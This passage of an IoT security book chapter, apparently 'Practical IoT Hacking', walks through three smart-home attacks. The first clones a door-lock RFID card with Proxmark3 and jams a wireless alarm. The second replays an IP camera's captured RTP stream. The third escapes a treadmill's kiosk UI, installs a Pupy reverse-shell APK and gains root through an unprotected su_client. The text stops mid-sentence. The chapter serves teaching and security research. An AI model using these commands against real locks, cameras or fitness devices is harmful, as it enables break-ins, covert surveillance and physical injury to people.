IoT devices as part of critical systems, such as office alarms, security cam-
eras, and door locks. 

In this chapter, we perform three separate attacks to show how hack-
ers can tamper with popular IoT devices used in modern smart homes 
and businesses. These demonstrations build on techniques we discussed 

15
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throughout the book, so they should animate some of what you learned in 
earlier chapters. First, we show you how to gain physical entry to a build-
ing by cloning a smart lock card and disabling an alarm system. Next, we 
retrieve and stream footage from an IP security camera. Then we describe 
an attack to gain control of a smart treadmill and cause potentially life-
threatening injuries.

Gaining Physical Entry to a Building
Smart home security systems are undoubtedly a potential target for adver-
saries who want to gain access to a victim’s premises. Modern security sys-
tems are usually equipped with a touch keypad, a number of wireless door 
and window access sensors, motion radars, and an alarm base station with 
cellular and battery backup. The base station, which is the core of the whole 
system, handles all the identified security events. It’s internet connected 
and able to deliver emails and push notifications to the user’s mobile 
device. In addition, it’s often highly integrated with smart home assistants, 
such as Google Home and Amazon Echo. Many of these systems even sup-
port expansion kits that include face-tracking cameras with facial recogni-
tion capabilities, RFID-enabled smart door locks, smoke detectors, carbon 
monoxide detectors, and water leak sensors. 

In this section, we’ll use techniques introduced in Chapter 10 to iden-
tify the RFID card used to unlock the apartment door’s smart lock, retrieve 
the key that protects the card, and clone the card to gain access to the 
apartment. Then we’ll identify the frequency that the wireless alarm system 
is using and try to interfere with its communication channels.

Cloning a Keylock System’s RFID Tag 
To gain physical access to a smart home, you first have to circumvent the 
smart door lock. These systems are mounted on the inside of existing door 
locks and come with an integrated 125 kHz/13.56 MHz proximity reader that 
allows users to pair key fobs and RFID cards. They can automatically unlock 
the door when you come home and securely lock it again when you leave. 

In this section, we’ll use a Proxmark3 device, introduced in Chapter 10, 
to clone a victim’s RFID card and unlock their apartment door. You can 
find instructions on how to install and configure the Proxmark3 device in 
that chapter.

In this scenario, let’s imagine we can get close to the victim’s RFID card. 
We need to be near the wallet in which the victim stores the RFID card for 
only a few seconds.

Identifying the Kind of RFID Card Used

First, we must identify the type of RFID card the door lock is using by scan-
ning the victim’s card using Proxmark3’s hf search command. 
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$ proxmark3> hf search 
UID : 80 55 4b 6c           
ATQA : 00 04          
 SAK : 08 [2]          

1 TYPE : NXP MIFARE CLASSIC 1k | Plus 2k SL1          
proprietary non iso14443-4 card found, RATS not supported          
  No chinese magic backdoor command detected          

2 Prng detection: WEAK          
Valid ISO14443A Tag Found - Quiting Search

The Proxmark3 tool detects the existence of a MIFARE Classic 1KB 
card 1. The output also tests for a number of known card weaknesses 
that might allow us to interfere with the RFID card. Notably, we see that 
its pseudorandom number generator (PRNG) is marked as weak 2. The PRNG 
implements the RFID card’s authentication control and protects the data 
exchange between the RFID card and the RFID reader. 

Performing a Darkside Attack to Retrieve a Sector Key

We can leverage one of the detected weaknesses to identify the sector keys 
for this card. If we uncover the sector keys, we can entirely clone the data, 
and because the card contains all the information necessary for the door 
lock to identify the house owner, cloning the card allows adversaries to 
impersonate the victim.

As mentioned in Chapter 10, a card’s memory is divided into sectors, 
and to read the data of one sector, the card reader has to first authenticate 
using the corresponding sector key. The easiest attack that requires no 
previous knowledge regarding the card data is the Darkside attack. The 
Darkside attack uses a combination of a flaw in the card’s PRNG, a weak vali-
dation control, and a number of the card’s error responses to extract parts 
of a sector’s key. The PRNG provides weak random numbers; additionally, 
each time the card is powered up, the PRNG is reset to the initial state. As a 
result, if attackers pay close attention to timing, they can either predict the 
random number generated by the PRNG or even produce the desired ran-
dom number at will. 

You can perform the Darkside attack by providing the hf mf mifare com-
mand in the Proxmark3 interactive shell: 

proxmark3> hf mf mifare
-------------------------------------------------------------------------
Executing command. Expected execution time: 25sec on average  :-)
Press the key on the proxmark3 device to abort both proxmark3 and client.
-------------------------------------------------------------------------uid
(80554b6c) nt(5e012841) par(3ce4e41ce41c8c84) ks(0209080903070606) 
nr(2400000000)
|diff|{nr}    |ks3|ks3^5|parity         |
+----+--------+---+-----+---------------+
| 00 |00000000| 2 |  7  |0,0,1,1,1,1,0,0|
…

1 Found valid key:ffffffffffff
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You should be able to recover the key for one sector in 1 to 25 sec-
onds. The key we recovered is one of the default keys for this type of RFID 
card 1. 

Performing a Nested Authentication Attack to Retrieve the Remaining Sector Keys

Once you know at least one sector key, you can perform a faster attack 
called nested authentication to retrieve the rest of the sector keys, which 
you need to clone the data in the rest of the sectors. A nested authentica-
tion attack allows you to authenticate to one sector and hence establish 
an encrypted communication with the card. A subsequent authentication 
request by the adversary for another sector will force the authentication 
algorithm to execute again. (We went over the details of this authentica-
tion algorithm in Chapter 10.) But this time, the card will generate and 
send a challenge, which an attacker can predict as a result of the PRNG 
vulnerability. The challenge will be encrypted with the corresponding sec-
tor’s key. Then a number of bits will be added to this value to reach a cer-
tain parity. If you know the predictable challenge with its parity bits and its 
encrypted form, you can infer parts of the sector’s key.

You can perform this attack using the hf mf nested command, followed 
by a number of parameters: 

proxmark3> hf mf nested 1 0 A FFFFFFFFFFFF t
Testing known keys. Sector count=16          
nested...          
-----------------------------------------------
Iterations count: 0     
|---|----------------|---|----------------|---|          
|sec|key A           |res|key B           |res|          
|---|----------------|---|----------------|---|          
|000|  ffffffffffff  | 1 |  ffffffffffff  | 1 |          
|001|  ffffffffffff  | 1 |  ffffffffffff  | 1 |          
|002|  ffffffffffff  | 1 |  ffffffffffff  | 1 |          
…

The first parameter specifies the card memory (because it’s 1KB, we 
use the value 1); the second parameter specifies the sector number for 
which the key is known; the third parameter defines the key type of the 
known key (either A or B in a MIFARE card); the fourth parameter is the 
previously extracted key; and the t parameter asks to transfer the keys into 
the Proxmark3 memory. When the execution finishes, you should see a 
matrix with the two key types for each sector.

Loading the Tag into Memory

Now it’s possible to load the tag into the Proxmark3 emulator’s memory 
using the hf mf ecfill command. The A parameter specifies, again, that the 
tool should use the authentication key type A (0x60):

proxmark3> hf mf ecfill A
#db# EMUL FILL SECTORS FINISHED        
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Testing the Cloned Card

Next, you can approach the door lock and emulate the cloned tag by read-
ing and writing the contents stored in the Proxmark3 memory using the 
hf mf sim command. There’s no need to write the contents to a new card, 
because Proxmark3 can mimic the RFID card.

proxmark3> hf mf sim
uid:N/A, numreads:0, flags:0 (0x00)           
#db# 4B UID: 80554b6c

Note that not all MIFARE Classic cards are vulnerable to these two 
attacks. For attacks against other types of RFID cards and fobs, see the tech-
niques discussed in Chapter 10. For simpler key fobs that don’t enforce an 
authentication algorithm, you can also use cheap key fob duplicators, such 
as Keysy from TINYLABS. Explore the supported key fob models on its 
website at https://tinylabs.io/keysy/keysy-compatibility/.

Jamming the Wireless Alarm
The Darkside attack allowed you to easily gain entry to the victim’s prem-
ises. But the apartment might also be equipped with an alarm system that 
can detect a security breach and activate a fairly loud warning through its 
embedded siren. Also, it can rapidly inform the victims about the breach by 
sending a notification to their mobile phones. Even if you’ve circumvented 
the door lock, opening the door will cause a wireless door access sensor to 
trigger this alarm system. 

One way to overcome this challenge is to disrupt the communication 
channel between the wireless sensors and the alarm system base station. 
You can do this by jamming the radio signals that the sensors transmit to 
the alarm’s base. To perform a jamming attack, you’ll have to transmit radio 
signals in the same frequency that the sensors use, and as a result, decrease 
the communication channel’s signal-to-noise ratio (SNR). The SNR is a ratio 
of the power of the meaningful signal that reaches the base station from 
the sensors to the power of the background noise also reaching the base 
station. A decreased SNR ratio blocks the base station from hearing com-
munications from the door access sensor. 

Monitoring the Alarm System’s Frequency

In this section, we’ll set up a software defined radio (SDR) using a low-cost 
RTL-SDR DVB-T dongle (Figure 15-1). We’ll use it to listen to the frequency 
coming from the alarm so we can transmit signals of the same frequency 
later. 

https://tinylabs.io/keysy/keysy-compatibility/
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Figure 15-1: A cheap RTL-SDR DVB-T dongle and an alarm system with a wireless door 
access sensor

To replicate this experiment, you can use most DVB-T dongles equipped 
with a Realtek RTL2832U chipset. The driver for the RTL2832U is prein-
stalled in Kali Linux. Enter the following command to verify that your sys-
tem detects the DVB-T dongle:

 $ rtl_test
Found 1 device(s):
  0:  Realtek, RTL2838UHIDIR, SN: 00000001

To convert the radio spectrum into a digital stream that we can analyze, 
we need to download and execute the CubicSDR binary (https://github.com/
cjcliffe/CubicSDR/releases/).  

Most wireless alarm systems use one of the few unlicensed frequency 
bands, such as the 433 MHz band. Let’s start by monitoring the frequency 
at 433 MHz when the victim opens or closes a door that is equipped with 
a wireless access sensor. To do this, use the chmod utility, which is prein-
stalled in Linux platforms, followed by the +x parameter to make the binary 
executable:

 $ chmod +x CubicSDR-0.2.5-x86_64.AppImage

Run the binary using the following command; the CubicSDR interface 
should appear: 

$ ./CubicSDR-0.2.5-x86_64.AppImage

The application should list the detected devices that you can use. Select 
the RTL2932U device and click Start, as shown in Figure 15-2.

https://github.com/cjcliffe/CubicSDR/releases/
https://github.com/cjcliffe/CubicSDR/releases/
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Figure 15-2: CubicSDR device selection 

To select a frequency, move the mouse pointer over the value listed in 
the Set Center Frequency box and press the spacebar. Then enter the value 
433MHz, as shown in Figure 15-3.

Figure 15-3: CubicSDR Frequency selection

You can view the frequency in CubicSDR, as shown in Figure 15-4.

Figure 15-4: The CubicSDR listening at 433 MHz
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Every time the victim opens or closes the door, you should see a little 
green peak in the diagram. Stronger peaks will appear in yellow or red, 
indicating the exact frequency that the sensor is transmitting.

Transmitting a Signal at the Same Frequency Using the Raspberry Pi

Using the open source Rpitx software, you can transform a Raspberry Pi 
into a simple radio transmitter that can handle frequencies from 5 kHz to 
1,500 MHz. The Raspberry Pi is a low-cost, single-board computer that is 
useful for many projects. Any Raspberry Pi model running a lite Raspbian 
operating system installation, except for the Raspberry Pi B, can currently 
support Rpitx.

To install and run Rpitx, first connect a wire to the exposed GPIO 4 pin 
on the Raspberry Pi, as shown in Figure 15-5. You can use any commercial 
or custom wire for this purpose. 

PIN 1 PIN 2

PIN 25 PIN 26

GPIO4

+3V3 +5V

+5VGPIO2 / SDA1

GPIO3/ SCL1 GND

GND

GPIO17

GPIO27

GPIO22

+3V3

GPIO10 / MOSI

GPIO9 / MISO

GPI11 / SCLK

GND

GND

GND

GPIO23

GPIO24

GPIO25

GPIO18

GPIO14 / TXD0

GPIO15 / RXD0

GPIO8 / CE0#

GPIO8 / CE1#

Figure 15-5: The Raspberry Pi GPIO 4 pin

Use the git command to download the app from the remote repository. 
Then navigate to its folder and run the install.sh script: 

$ git clone https://github.com/F5OEO/rpitx
$ cd rpitx && ./install.sh

Now reboot the device. To start the transmission, use the rpitx 
command.

$ sudo ./rpitx –m VFO –f 433850
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The -m parameter defines the transmission mode. In this case, we set it 
to VFO to transmit a constant frequency. The -f parameter defines the fre-
quency to output on the Raspberry Pi’s GPIO 4 pin in kilohertz.

If you connect the Raspberry Pi to a monitor, you can use the Rpitx 
graphic user interface to tune the transmitter further, as shown in 
Figure 15-6.

Figure 15-6: Rpitx GUI transmitter options

We can verify that the signal is transmitted at the correct frequency 
by making a new capture using the RTL-SDR DVB-T dongle. Now you can 
open the door without triggering the alarm.

If you’re using Rpitx version 2 or later, you could also record a sig-
nal directly from the RTL-SDR DVB-T dongle and replay it at the same 
frequency through the provided graphic user interface. In this case, you 
wouldn’t need to use CubicSDR. We leave this as an exercise for you to com-
plete. You could try this feature against alarm systems that offer a remote 
controller for activating or deactivating the alarm.

It’s possible that more expensive, highly sophisticated alarm systems 
will detect the noise in the wireless frequency and attempt to notify the user 
about this event. To avoid this, you could attempt to jam the alarm system 
base station’s Wi-Fi connectivity by performing a deauthentication attack, as 
discussed in Chapter 12. Refer to that chapter for more information about 
using the Aircrack-ng suite. 

	Playing Back an IP Camera Stream
Suppose you’re an attacker who has somehow gained access to a network that 
includes IP cameras. Now, what could constitute an impactful attack that 
has significant privacy implications and that you could conduct without even 
touching the cameras? Playing back the camera video stream, of course. 
Even if the cameras have no vulnerabilities (highly unlikely!), an attacker 
who gains a man-in-the-middle position on the network could capture traf-
fic from any potential insecure communication channels. The bad (or good, 
depending on your perspective) news is that many current cameras still use 
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unencrypted network protocols to stream their video. Capturing the net-
work traffic is one thing, but being able to demonstrate to stakeholders that 
it’s possible to play back the video from that dump is another. 

You can easily achieve the man-in-the-middle position using tech-
niques like ARP cache poisoning or DHCP spoofing (first introduced in 
Chapter 3) if the network has no segmentation. In the camera video stream 
example, we assume that this has already been achieved and that you’ve 
captured a network camera’s pcap file streaming through the Real Time 
Streaming Protocol (RTSP), the Real-time Transport Protocol (RTP), and 
the RTP Control Protocol (RTCP), which are discussed in the next section. 

Understanding Streaming Protocols
The RTSP, RTP, and RTCP protocols usually work in conjunction with one 
another. Without delving too much into their inner workings, here is a 
quick primer on each: 

RTSP    Is a client-server protocol that acts as a network remote control 
for multimedia servers with live feeds and stored clips as data sources. 
You can imagine RTSP as the protocol overlord that can send VHS-style 
multimedia playback commands, such as play, pause, and record. RTSP 
usually runs over TCP. 

RTP     Performs the transmission of the media data. RTP runs over 
UDP and works in concert with RTCP. 

RTCP     Periodically sends out-of-band reports that announce statistics 
(for example, the number of packets sent and lost and the jitter) to the 
RTP participants. Although RTP is typically sent on an even-numbered 
UDP port, RTCP is sent over the next highest odd-number UDP port: 
you can spot this in the Wireshark dump in Figure 15-7.

Analyzing IP Camera Network Traffic
In our setup, the IP camera has the IP address 192.168.4.180 and the client 
that is intended to receive the video stream has the IP address 192.168.5.246. 
The client could be the user’s browser or a video player, such as VLC media 
player. 

As a man-in-the-middle positioned attacker, we’ve captured the conver-
sation that Figure 15-7 shows in Wireshark. 

Figure 15-7: Wireshark output of a typical multimedia session established through RTSP and RTP
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The traffic is a typical multimedia RTSP/RTP session between a client 
and an IP camera. The client starts by sending an RTSP OPTIONS request 1 
to the camera. This request asks the server about the request types it 
will accept. The accepted types are then contained in the server’s RTSP 
REPLY 2. In this case, they’re DESCRIBE, SETUP, TEARDOWN, PLAY, SET_PARAMETER, 
GET_PARAMETER, and PAUSE (some readers might find these familiar from the 
VHS days), as shown in Figure 15-8.

Figure 15-8: The camera’s RTSP OPTIONS reply contains the request types it accepts.

Then the client sends an RTSP DESCRIBE request 3 that includes 
an RTSP URL (a link for viewing the camera feed, which in this case is 
rtsp://192.168.4.180:554/video.mp4). With this request 3 the client is ask-
ing the URL’s description and will notify the server with the description 
formats the client understands by using the Accept header in the form 
Accept: application/sdp. The server’s reply 4 to this is usually in the Session 
Description Protocol (SDP) format shown in Figure 15-9. The server’s reply 
is an important packet for our proof of concept, because we’ll use that 
information to create the basis of an SDP file. It contains important fields, 
such as media attributes (for example, encoding for the video is H.264 with 
a sample rate of 90,000 Hz) and which packetization modes will be in use.

Figure 15-9: The camera’s RTSP reply to the DESCRIBE request includes the SDP part.

The next two RTSP requests are SETUP and PLAY. The former asks the 
camera to allocate resources and start an RTSP session; the latter asks to 
start sending data on the stream allocated via SETUP. The SETUP request 5 
includes the client’s two ports for receiving RTP data (video and audio) and 
RTCP data (statistics and control info). The camera’s reply 6 to the SETUP 
request confirms the client’s ports and adds the server’s corresponding cho-
sen ports, as shown in Figure 15-10.
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Figure 15-10: The camera’s reply to the client’s SETUP request 

After the PLAY request 7, the server starts transmitting the RTP 
stream 8 (and some RTCP packets) 9. Return to Figure 15-7 to see that 
this exchange happens between the SETUP request’s agreed-upon ports. 

Extracting the Video Stream
Next, we need to extract the bytes from the SDP packet and export them 
into a file. Because the SDP packet contains important values about how 
the video is encoded, we need that information to play back the video. 
You can extract the SDP packet by selecting the RTSP/SDP packet in the 
Wireshark main window, selecting the Session Description Protocol part 
of the packet, and then right-clicking and selecting Export Packet Bytes 
(Figure 15-11). Then save the bytes into a file on the disk. 

Figure 15-11: Select the SDP part of the RTSP packet in Wireshark and Export Packet Bytes 
to a file.

The created SDP file will look something like Listing 15-1.

v=0
1 o=- 0 0 IN IP4 192.168.4.180
2 s=LIVE VIEW
3 c=IN IP4 0.0.0.0

t=0 0
a=control:*

4 m=video 0 RTP/AVP 35
a=rtpmap:35 H264/90000
a=rtpmap:102 H265/90000
a=control:video
a=recvonly
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a=fmtp:35 packetization-mode=1;profile-level-id=4d4033;sprop-parameter-sets=Z0
1AM42NYBgAbNgLUBDQECA=,aO44gA==

Listing 15-1: The original SDP file as saved by exporting the SDP packet from the 
Wireshark dump

We’ve marked the most important parts of the file that we need to 
modify. We see the session owner (-), the session id (0), and the origina-
tor’s network address 1. For accuracy, because the originator of this ses-
sion will be our localhost, we can change the IP address to 127.0.0.1 or 
delete this line entirely. Next, we see the session name 2. We can omit 
this line or leave it as-is. If we leave it, the string LIVE VIEW will briefly 
appear when VLC plays back the file. Then we see the listening network 
address 3. We should change this to 127.0.0.1 so we don’t expose the 
FFmpeg tool we’ll use later on the network, because we’ll only be sending 
data to FFmpeg locally through the loopback network interface. 

The most important part of the file is the value that contains the net-
work port for RTP 4. In the original SDP file, this is 0, because the port was 
negotiated later through the RTSP SETUP request. We’ll have to change this 
port to a valid non-zero value for our use-case. We arbitrarily chose 5000. 
Listing 15-2 displays the modified SDP file. We saved it as camera.sdp. 

v=0
c=IN IP4 127.0.0.1
m=video 5000 RTP/AVP 35
a=rtpmap:35 H264/90000
a=rtpmap:102 H265/90000
a=control:video
a=recvonly
a=fmtp:35 packetization-mode=1;profile-level-id=4d4033;sprop-parameter-sets=Z0
1AM42NYBgAbNgLUBDQECA=,aO44gA==

Listing 15-2: The modified SDP file

The second step is to extract the RTP stream from Wireshark. The 
RTP stream contains the encoded video data. Open the pcap file that con-
tains the captured RTP packets in Wireshark; then click TelephonyRTP 
Streams. Select the stream shown, right-click it, and select Prepare Filter. 
Right-click again and select Export as RTPDump. Then save the selected 
RTP stream as an rtpdump file (we saved it as camera.rtpdump).

To extract the video from the rtpdump file and play it back, you’ll need 
the following tools: RTP Tools to read and play back the RTP session, 
FFmpeg to convert the stream, and VLC to play back the final video file. 
If you’re using a Debian-based distribution like Kali Linux, you can easily 
install the first two using apt:

$ apt-get install vlc
$ apt-get install ffmpeg
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You’ll have to download the RTP Tools manually either from its website 
(https://github.com/irtlab/rtptools/) or its GitHub repository. Using git, you can 
clone the latest version of the GitHub repository:

$ git clone https://github.com/cu-irt/rtptools.git

Then compile the RTP Tools::

$ cd rtptools
$ ./configure && make

Next, run FFmpeg using the following options: 

$ ffmpeg -v warning -protocol_whitelist file,udp,rtp -f sdp -i camera.sdp -copyts -c copy -y 
  out.mkv 

We whitelist the allowed protocols (file, UDP, and SDP) because it’s a 
good practice. The -f switch forces the input file format to be SDP regard-
less of the file’s extension. The -i option supplies the modified camera.sdp 
file as input. The -copyts option means that input timestamps won’t be pro-
cessed. The -c copy option signifies that the stream is not to be re-encoded, 
only outputted, and -y overwrites output files without asking. The final 
argument (out.mkv) is the resulting video file.

Now run RTP Play, providing the path of the rtpdump file as an argu-
ment to the -f switch: 

~/rtptools-1.22$ ./rtpplay -T -f ../camera.rtpdump 127.0.0.1/5000

The last argument is the network address destination and port that the 
RTP session will be played back to. This needs to match the one FFmpeg 
read through the SDP file (remember that we chose 5000 in the modified 
camera.sdp file).

Note that you must execute the rtpplay command immediately after 
you start FFmpeg, because by default FFmpeg will terminate if no incom-
ing stream arrives soon. The FFmpeg tool will then decode the played-back 
RTP session and output the out.mkv file.

N O T E 	 If you’re using Kali Linux, as we are in this video example, you should run all rel-
evant tools as a nonroot user. The reason is that malicious payloads could exist any-
where, and there are notorious memory corruption vulnerabilities in complex software 
like video encoders and decoders.

Then VLC will gloriously be able to play the video file: 

$ vlc out.mkv 

When you run this command, you should witness the captured camera 
video feed. You can watch a video demonstration of this technique on this 
book’s website at https://nostarch.com/practical-iot-hacking/.

https://github.com/irtlab/rtptools/
https://nostarch.com/practical-iot-hacking/
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There are ways to securely transmit video streams that would prevent 
man-in-the-middle attacks, but few devices currently support them. One solu-
tion would be to use the newer Secure RTP (SRTP) protocol that can provide 
encryption, message authentication, and integrity, but note that these fea-
tures are optional and could be disabled. People might disable them to avoid 
the performance overhead of encryption, because many embedded devices 
don’t have the necessary computational power to support it. There are also 
ways to separately encrypt RTP, as described at RFC 7201. Methods include 
using IPsec, RTP over TLS over TCP, or RTP over Datagram TLS (DTLS). 

Attacking a Smart Treadmill
As an attacker, you now have unrestricted access to the user’s premises and 
you can check whether you appear in their security footage by playing back 
the video. The next step is to use your physical access to perform further 
attacks on other smart devices to extract sensitive data or even make them 
perform unwanted actions. What if you could turn all these smart devices 
against their owner while making it look like an accident?

A good example of smart home devices that you can exploit for such mali-
cious purposes are those related to fitness and wellness, such as exercise and 
movement trackers, electric connected toothbrushes, smart weight scales, 
and smart exercise bikes. These devices can collect sensitive data about a 
user’s activities in real time. Some of them can also affect the user’s health. 
Among other features, the devices might be equipped with high-quality sen-
sors designed to sense a user’s condition; activity tracking systems responsible 
for monitoring the user’s performance; cloud computing capabilities to store 
and process the collected data on a daily basis; internet connectivity that offers 
real-time interaction with users of similar devices; and multimedia playback 
that transforms the fitness device into a state-of-the-art infotainment system. 

In this section, we’ll describe an attack against a device that combines 
all these amazing features: the smart powered treadmill, as shown in 
Figure 15-12.

Smart treadmills are one of the most fun ways to exercise in the home 
or gym, but you can get injured if the treadmill malfunctions. 

The attack described in this section is based on a presentation given 
at the 2019 IoT security conference Troopers by Ioannis Stais (one of the 
authors of this book) and Dimitris Valsamaras. As a security measure, we 
won’t disclose the smart treadmill vendor’s name or the exact device model. 
The reason is that even though the vendor did address the issues very 
quickly by implementing the proper patches, these devices aren’t necessar-
ily always connected to the internet, and as a result, might have not been 
updated yet. That said, the identified issues are textbook vulnerabilities 
often found in smart devices; they’re very indicative of what can go wrong 
with an IoT device in a modern smart home.
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Figure 15-12: A modern smart treadmill

Smart Treadmills and the Android Operating System
Many smart treadmills use the Android operating system, which runs on 
more than a billion phones, tablets, watches, and televisions. By using 
Android in a product, you’re automatically granted significant benefits; for 
example, specialized libraries and resources for fast app development, and 
mobile apps, already available on the Google Play Store, that can be directly 
integrated into a product. Also, you have the support of an extended device 
ecosystem of all shapes and sizes that includes smartphones, tablets (AOSP), 
cars (Android Auto), smartwatches (Android Wear), TVs (Android TV), 
embedded systems (Android Things), and extensive official documenta-
tion that comes with online courses and training material for developers. 
Additionally, many original equipment manufacturers and retailers can 
provide compatible hardware parts.

But every good thing comes with a price: the adopted system risks 
becoming too generic It also provides far more functionality than required, 
increasing the product’s overall attack surface. Often, the vendors include 
custom apps and software that lack proper security audits and circumvent 
the existing platform security controls to achieve primary functions for 
their product, such as hardware control, as shown in Figure 15-13.

To control the environment the platform provides, vendors typically fol-
low one of two possible approaches. They can integrate their product with a 
Mobile Device Management (MDM) software solution. MDM is a set of technolo-
gies that can be used to remotely administer the deployment, security, audit-
ing, and policy enforcement of mobile devices. Otherwise, they can generate 
their own custom platform based on the Android Open Source Project (AOSP). 
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AOSP is freely available to download, customize, and install on any supported 
device. Both solutions offer numerous ways to limit the platform-provided 
functionalities and restrict the user access only to the intended ones. 

Vendor custom UI and apps

Common platform
(for example, Android OS)

Vendor-supplied 
hardware control software

Device hardware

Figure 15-13: A smart treadmill’s stack

The device examined here uses a customized platform based on AOSP 
equipped with all the necessary apps. 

Taking Control of the Android Powered Smart Treadmill
In this section, we’ll walk through an attack on the smart treadmill that 
allowed us to control the speed and the incline of the device remotely.

Circumventing UI Restrictions

The treadmill is configured to allow the user to access only selected services 
and functionalities. For example, the user can start the treadmill, select a 
specific exercise, and watch TV or listen to a radio program. They can also 
authenticate to a cloud platform to track their progress. Bypassing these 
restrictions could allow us to install services to control the device.

Adversaries who want to circumvent UI restrictions commonly target 
the authentication and registration screens. The reason is that, in most 
cases, these require browser integration, either to perform the actual 
authentication functionality or to provide supplementary information. This 
browser integration is usually implemented using components provided 
by the Android framework, such as WebView objects. WebView is a feature 
that allows developers to display text, data, and web content as part of an 
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application interface without requiring extra software. Although useful for 
developers, it supports plenty of functionality that can’t be easily protected, 
and as a result, it’s often targeted. 

In our case, we can use the following process to circumvent the UI 
restrictions. First, click the Create new account button on the device screen. 
A new interface should appear requesting the user’s personal data. This 
interface contains a link to the Privacy Policy. The Privacy Policy seems to 
be a file that is presented in WebView, as shown in Figure 15-14.

Figure 15-14: Registration interface with links to the Privacy Policy

Within the Privacy Policy are other links, such as the Cookies Policy file 
shown in Figure 15-15. 

Figure 15-15: WebView displaying the Privacy Policy local file
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Fortunately, this policy file contains external links to resources hosted 
in remote servers, such as the one that appears as an icon in the top bar of 
the interface, as shown in Figure 15-16. 

Figure 15-16: A link to an external site on the Cookies page

By selecting the link, the adversary can navigate to the vendor’s site and 
retrieve content that they wouldn’t have been able to access before, such as 
the site’s menus, images, videos and vendor’s latest news. 

The final step is to attempt to escape from the cloud service to visit 
any custom website. The most common targets are usually the external 
web page’s Search Web Services buttons, which are shown in Figure 15-17, 
because they allow users to access any other site by simply searching for it.

Figure 15-17: An external site containing links to the Google search engine
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In our case, the vendor’s site has integrated the Google search engine 
so the site’s visitors can perform local searches for the website’s content. 
An attacker can click the small Google icon at the top left of the screen to 
transfer to the Google search page. Now we can navigate to any site by typ-
ing the site’s name in the search engine. 

Alternatively, attackers could exploit the Login interface feature that 
allows users to authenticate with Facebook (Figure 15-18) because it creates 
a new browser window. 

Figure 15-18: The authentication interface links to Facebook.

Then, when we click the Facebook logo shown in Figure 15-19, we can 
escape from WebView into a new browser window that allows us to access 
the URL bar and navigate to other sites. 

Figure 15-19: A pop-up window that links to an external site



Hacking the Smart Home   391

Attempting to Get Remote Shell Access

With access to other sites, the attacker could now use their web browsing 
capabilities to navigate to a remotely hosted Android application executable 
and then attempt to directly download and install it on the device. We’ll try 
to install an Android app on our computer that would give us remote shell 
access to the treadmill: it’s called the Pupy agent (https://github.com/n1nj4sec/
pupy/). 

We first have to install the Pupy server to our system. Using the Git tool 
to download the code from the remote repository, we then navigate to its 
folder and use the create-workspace.py script to set up the environment:

$ git clone --recursive https://github.com/n1nj4sec/pupy
$ cd pupy && ./create-workspace.py pupyws

Next, we can generate a new Android APK file using the pupygen 
command: 

$ pupygen -f client -O android –o sysplugin.apk connect --host 
192.168.1.5:8443

The -f parameter specifies that we want to create a client applica-
tion, the -O parameter stipulates that it should be an APK for Android 
platforms, the -o parameter names the application, the connect parameter 
requires the application to perform a reverse connection back to the Pupy 
server, and the --host parameter provides the IPv4 and port on which  
this server is listening.

Because we can navigate to custom websites through the treadmill’s 
interface, we can host this APK to a web server and try to directly access the 
treadmill. Unfortunately, when we tried to open the APK, we learned that 
the treadmill doesn’t allow you to install apps with an APK extension just by 
opening them through WebView. We’ll have to find some other way. 

Abusing a Local File Manager to Install the APK

We’ll use a different strategy to attempt to infect the device and gain per-
sistent access. Android WebViews and web browsers can trigger activities on 
other apps installed on the device. For example, all devices equipped with 
an Android version later than 4.4 (API level 19) allow users to browse and 
open documents, images, and other files using their preferred document 
storage provider. As a result, navigating to a web page containing a simple 
file upload form, like the one in Figure 15-20, will make Android look for 
installed File Manager programs.  

https://github.com/n1nj4sec/pupy
https://github.com/n1nj4sec/pupy
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Figure 15-20: Accessing an external site that requests a file upload

Surprisingly, we discovered that the treadmill’s browser window can 
initiate a custom File Manager application by letting us select its name from 
the sidebar list in the pop-up window, as shown in Figure 15-21. The one 
we’ve highlighted isn’t a default Android file manager and was probably 
installed as an extension in the Android ROM to allow the device manufac-
turer to perform file operations more easily.

Figure 15-21: Opening a custom local File Manager

This File Manager has extensive functionalities: it can compress and 
decompress files, and it can even directly open other apps—a functionality 
that we’ll exploit to install a custom APK. In the File Manager, we locate 
the previously downloaded APK file and click the Open button, as shown in 
Figure 15-22. 
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Figure 15-22: Abusing the local File Manager to execute a custom APK

The Android package installer, which is the default Android app that 
allows you to install, upgrade, and remove applications on the device, will 
then automatically initiate the normal installation process, as shown in 
Figure 15-23.

Figure 15-23: Executing a custom APK from the File Manager

Installing the Pupy agent will initiate a connection back to the Pupy 
server, as shown here. We can now use the remote shell to execute com-
mands to the treadmill as a local user.

[*] Session 1 opened (treadmill@localhost) (xx.xx.xx.xx:8080 <- yy.yy.
yy.yy:43535)
>> sessions
id user hostname platform release os_arch proc_arch intgty_lvl address tags
---------------------------------------------------------------------------
1 treadmill localhost android 3.1.10 armv7l 32bit Medium   yy.yy.yy.yy 
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Escalating Privileges

The next step is to perform privilege escalation. One way to achieve that 
is to look for SUID binaries, which are binaries that we can execute using a 
selected user’s permissions, even if the person executing them has lower 
privileges. More precisely, we’re looking for binaries that we can execute as 
the root user, which is the superuser on an Android platform. These bina-
ries are common in Android-controlled IoT devices, because they allow 
apps to issue commands to the hardware and perform firmware updates. 
Normally, Android apps work in isolated environments (often called sand-
boxes) and can’t gain access to other apps or the system. But an app with 
superuser access rights can venture out of its isolated environment and take 
full control of the device. 

We found that it’s possible to perform privilege escalation by abusing 
an unprotected SUID service installed on the device named su_server. This 
service was receiving commands from other Android applications over Unix 
domain sockets. We also found a client binary named su_client installed in 
the system. The client could be used to directly issue commands with root 
privileges, as shown here: 

$ ./su_client 'id > /sdcard/status.txt' && cat /sdcard/status.txt
uid=0(root) gid=0(root) context=kernel

The input issues the id command, which displays the user and group 
names and numeric IDs of the calling process to the standard output, and 
redirects the output to the file located at /sdcard/status.txt. Using the cat 
command, which displays the file’s contents, we retrieve the output and ver-
ify that the command has been executed with the root user’s permissions.

We provided the commands as command line arguments between sin-
gle quotes. Note that the client binary didn’t directly return any command 
output to the user, so we had to first write the result to a file in the SD card. 

Now that we have superuser permissions, we can access, interact, and 
tamper with another app’s functionalities. For example, we can extract the 
current user’s training data, their password for the cloud fitness tracking 
app, and their Facebook token, and change the configuration of their train-
ing program.

Remotely Controlling Speed and Incline

With our acquired remote shell access and superuser permissions, let’s find 
a way to control the treadmill’s speed and incline. This requires investigat-
ing the software and the equipment’s hardware. See Chapter 3 for a meth-
odology that can help you do this. Figure 15-24 shows an overview of the 
hardware design.

We discovered that the device is built on two main hardware compo-
nents, called the Hi Kit and the Low Kit. The Hi Kit is composed of the 
CPU board and the device’s main board; the Low Kit is composed of a 
